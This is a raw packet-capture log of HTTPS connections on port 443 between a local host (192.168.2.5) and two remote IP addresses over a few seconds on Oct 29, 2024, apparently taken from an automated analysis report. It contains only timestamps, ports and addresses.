Oct 29, 2024 18:43:08.142941952 CET	49987	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.144722939 CET	49987	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.144752979 CET	443	49987	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.145118952 CET	443	49987	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.145493031 CET	49987	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.145541906 CET	49987	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.145580053 CET	443	49987	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.191905975 CET	443	49990	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.192384958 CET	49990	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.192466021 CET	443	49990	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.193011999 CET	49990	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.193026066 CET	443	49990	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.196110010 CET	443	49991	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.196374893 CET	49991	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.196388960 CET	443	49991	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.196829081 CET	49991	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.196832895 CET	443	49991	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.222711086 CET	443	49989	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.224808931 CET	49989	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.224822044 CET	443	49989	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.225341082 CET	49989	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.225346088 CET	443	49989	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.229629993 CET	443	49993	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.232372999 CET	49993	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.232389927 CET	443	49993	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.232896090 CET	49993	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.232899904 CET	443	49993	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.235058069 CET	443	49992	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.242008924 CET	49992	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.242032051 CET	443	49992	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.242489100 CET	49992	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.242497921 CET	443	49992	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.320065022 CET	443	49990	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.320082903 CET	443	49990	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.320178032 CET	443	49990	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.320261002 CET	49990	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.320261002 CET	49990	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.320439100 CET	49990	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.320488930 CET	443	49990	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.320521116 CET	49990	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.320538044 CET	443	49990	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.324048042 CET	49994	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.324083090 CET	443	49994	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.324280024 CET	49994	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.324489117 CET	49994	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.324502945 CET	443	49994	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.325680971 CET	443	49991	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.325759888 CET	443	49991	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.325884104 CET	49991	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.325932980 CET	49991	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.325946093 CET	443	49991	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.325957060 CET	49991	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.325964928 CET	443	49991	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.327898026 CET	49995	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.327924967 CET	443	49995	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.327987909 CET	49995	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.328109026 CET	49995	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.328120947 CET	443	49995	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.351722002 CET	443	49989	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.351870060 CET	443	49989	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.351946115 CET	49989	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.351972103 CET	49989	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.351972103 CET	49989	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.351983070 CET	443	49989	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.351990938 CET	443	49989	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.354351997 CET	49996	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.354378939 CET	443	49996	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.354456902 CET	49996	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.354624987 CET	49996	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.354645014 CET	443	49996	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.388334990 CET	443	49993	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.388360977 CET	443	49993	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.388418913 CET	49993	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.388425112 CET	443	49993	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.388578892 CET	49993	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.388619900 CET	49993	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.388633013 CET	443	49993	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.388643026 CET	49993	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.388648033 CET	443	49993	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.389631033 CET	443	49992	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.389651060 CET	443	49992	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.389693022 CET	443	49992	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.389767885 CET	49992	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.389767885 CET	49992	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.389933109 CET	49992	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.389933109 CET	49992	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.389950991 CET	443	49992	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.389962912 CET	443	49992	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.391086102 CET	49997	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.391124010 CET	443	49997	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.391974926 CET	49997	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.391980886 CET	49998	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.392005920 CET	443	49998	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.392086983 CET	49998	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.392132044 CET	49997	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.392149925 CET	443	49997	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.392288923 CET	49998	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:08.392303944 CET	443	49998	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.525971889 CET	443	49987	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.525998116 CET	443	49987	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.526094913 CET	49987	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.526115894 CET	443	49987	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.526473999 CET	49987	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.526489973 CET	49987	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.526649952 CET	443	49987	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.526695967 CET	443	49987	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.526745081 CET	49987	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.914638042 CET	443	49988	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.914661884 CET	443	49988	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.914705992 CET	443	49988	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.914741039 CET	49988	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.914756060 CET	443	49988	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.914779902 CET	49988	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.915224075 CET	49988	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.915240049 CET	443	49988	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.915251970 CET	49988	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.915384054 CET	443	49988	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.915416002 CET	443	49988	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.915476084 CET	49988	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.967051029 CET	49999	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.967108011 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.967175961 CET	49999	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.967343092 CET	49999	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.967360020 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:09.059561014 CET	443	49994	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.059957027 CET	49994	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.059979916 CET	443	49994	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.060467005 CET	49994	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.060473919 CET	443	49994	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.062334061 CET	443	49995	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.062743902 CET	49995	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.062762976 CET	443	49995	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.063280106 CET	49995	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.063286066 CET	443	49995	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.115235090 CET	443	49997	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.115789890 CET	49997	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.115822077 CET	443	49997	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.116380930 CET	49997	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.116389990 CET	443	49997	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.130120993 CET	443	49998	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.130486012 CET	49998	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.130496025 CET	443	49998	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.131092072 CET	49998	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.131098986 CET	443	49998	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.131503105 CET	443	49996	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.131831884 CET	49996	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.131840944 CET	443	49996	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.132313967 CET	49996	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.132320881 CET	443	49996	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.189574003 CET	443	49994	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.189601898 CET	443	49994	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.189661026 CET	443	49994	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.189783096 CET	49994	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.189783096 CET	49994	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.189893007 CET	49994	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.189893007 CET	49994	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.189930916 CET	443	49994	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.189955950 CET	443	49994	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.192760944 CET	50000	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.192804098 CET	443	50000	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.192873955 CET	50000	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.193046093 CET	50000	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.193061113 CET	443	50000	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.194844007 CET	443	49995	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.194895983 CET	443	49995	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.194946051 CET	49995	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.194953918 CET	443	49995	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.195034027 CET	443	49995	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.195080996 CET	49995	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.195125103 CET	49995	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.195133924 CET	443	49995	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.195158005 CET	49995	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.195163012 CET	443	49995	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.197622061 CET	50001	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.197676897 CET	443	50001	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.197768927 CET	50001	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.197935104 CET	50001	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.197964907 CET	443	50001	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.264748096 CET	443	49997	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.264810085 CET	443	49997	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.264874935 CET	49997	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.265088081 CET	49997	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.265116930 CET	443	49997	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.265137911 CET	49997	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.265145063 CET	443	49997	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.266545057 CET	443	49998	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.266742945 CET	443	49998	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.266802073 CET	49998	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.266830921 CET	49998	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.266849995 CET	443	49998	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.266860008 CET	49998	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.266865015 CET	443	49998	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.268158913 CET	50002	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.268192053 CET	443	50002	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.268253088 CET	50002	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.268424988 CET	50002	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.268440962 CET	443	50002	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.269175053 CET	50003	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.269197941 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.269280910 CET	50003	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.269439936 CET	50003	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.269448996 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.270412922 CET	443	49996	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.270622015 CET	443	49996	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.270687103 CET	49996	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.270716906 CET	49996	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.270723104 CET	443	49996	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.270733118 CET	49996	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.270736933 CET	443	49996	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.272803068 CET	50004	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.272828102 CET	443	50004	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.272906065 CET	50004	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.273077965 CET	50004	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.273094893 CET	443	50004	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.940975904 CET	443	50001	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.941690922 CET	50001	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.941720009 CET	443	50001	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.942418098 CET	50001	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.942428112 CET	443	50001	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.959654093 CET	443	50000	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.962784052 CET	50000	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.962798119 CET	443	50000	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:09.963583946 CET	50000	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:09.963592052 CET	443	50000	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.011154890 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.011652946 CET	50003	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.011677027 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.012245893 CET	50003	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.012250900 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.015887976 CET	443	50002	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.016258001 CET	50002	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.016278982 CET	443	50002	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.016710997 CET	50002	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.016716003 CET	443	50002	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.021867990 CET	443	50004	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.022207022 CET	50004	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.022228956 CET	443	50004	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.022674084 CET	50004	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.022680044 CET	443	50004	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.063523054 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.064105988 CET	49999	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:10.064119101 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.065110922 CET	49999	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:10.065115929 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.065144062 CET	49999	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:10.065152884 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.077343941 CET	443	50001	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.077373981 CET	443	50001	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.077426910 CET	50001	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.077429056 CET	443	50001	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.077480078 CET	50001	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.077724934 CET	50001	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.077743053 CET	443	50001	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.077753067 CET	50001	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.077758074 CET	443	50001	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.081016064 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.081051111 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.081142902 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.081334114 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.081350088 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.096312046 CET	443	50000	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.096369028 CET	443	50000	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.096414089 CET	50000	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.096543074 CET	50000	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.096560955 CET	443	50000	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.096570015 CET	50000	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.096576929 CET	443	50000	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.099467039 CET	50006	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.099507093 CET	443	50006	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.099567890 CET	50006	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.099709034 CET	50006	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.099726915 CET	443	50006	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.150562048 CET	443	50002	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.150592089 CET	443	50002	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.150671005 CET	50002	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.150686979 CET	443	50002	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.150732994 CET	443	50002	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.150779009 CET	50002	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.150969028 CET	50002	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.150978088 CET	443	50002	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.151005030 CET	50002	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.151010036 CET	443	50002	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.153548956 CET	50007	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.153624058 CET	443	50007	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.153769016 CET	50007	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.153887987 CET	50007	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.153920889 CET	443	50007	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.156462908 CET	443	50004	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.156517029 CET	443	50004	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.156569004 CET	50004	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.156599045 CET	443	50004	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.156653881 CET	443	50004	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.156702042 CET	50004	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.156753063 CET	50004	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.156769037 CET	443	50004	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.156781912 CET	50004	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.156788111 CET	443	50004	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.159256935 CET	50008	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.159296989 CET	443	50008	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.159477949 CET	50008	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.159547091 CET	50008	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.159559011 CET	443	50008	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.279959917 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.279990911 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.280006886 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.280113935 CET	50003	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.280149937 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.280169964 CET	50003	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.280195951 CET	50003	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.280955076 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.281022072 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.281033039 CET	50003	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.281066895 CET	50003	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.281728983 CET	50003	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.281745911 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.281754971 CET	50003	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.281760931 CET	443	50003	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.294006109 CET	50009	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.294106960 CET	443	50009	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.294193029 CET	50009	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.294405937 CET	50009	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.294440985 CET	443	50009	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.417709112 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.417731047 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.417782068 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.417846918 CET	49999	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:10.417870045 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.417910099 CET	49999	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:10.418360949 CET	49999	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:10.418375969 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.418380976 CET	49999	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:10.418553114 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.418586969 CET	443	49999	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.418677092 CET	49999	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:10.461630106 CET	50010	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:10.461711884 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.461822033 CET	50010	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:10.461958885 CET	50010	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:10.461996078 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:10.830985069 CET	443	50005	13.107.246.45	192.168.2.5
